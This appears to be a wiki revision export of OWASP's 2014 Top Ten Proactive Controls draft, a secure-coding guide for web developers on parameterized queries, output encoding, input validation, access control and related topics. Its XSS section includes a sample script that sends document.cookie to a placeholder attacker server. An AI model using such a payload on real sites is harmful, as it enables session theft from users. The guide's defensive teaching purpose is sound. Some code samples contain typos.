	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, forgot password or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of personal and confidential information in the system that must be protected and tracked. What is the source of this data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170113</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170113"/>
				<updated>2014-03-14T14:29:45Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
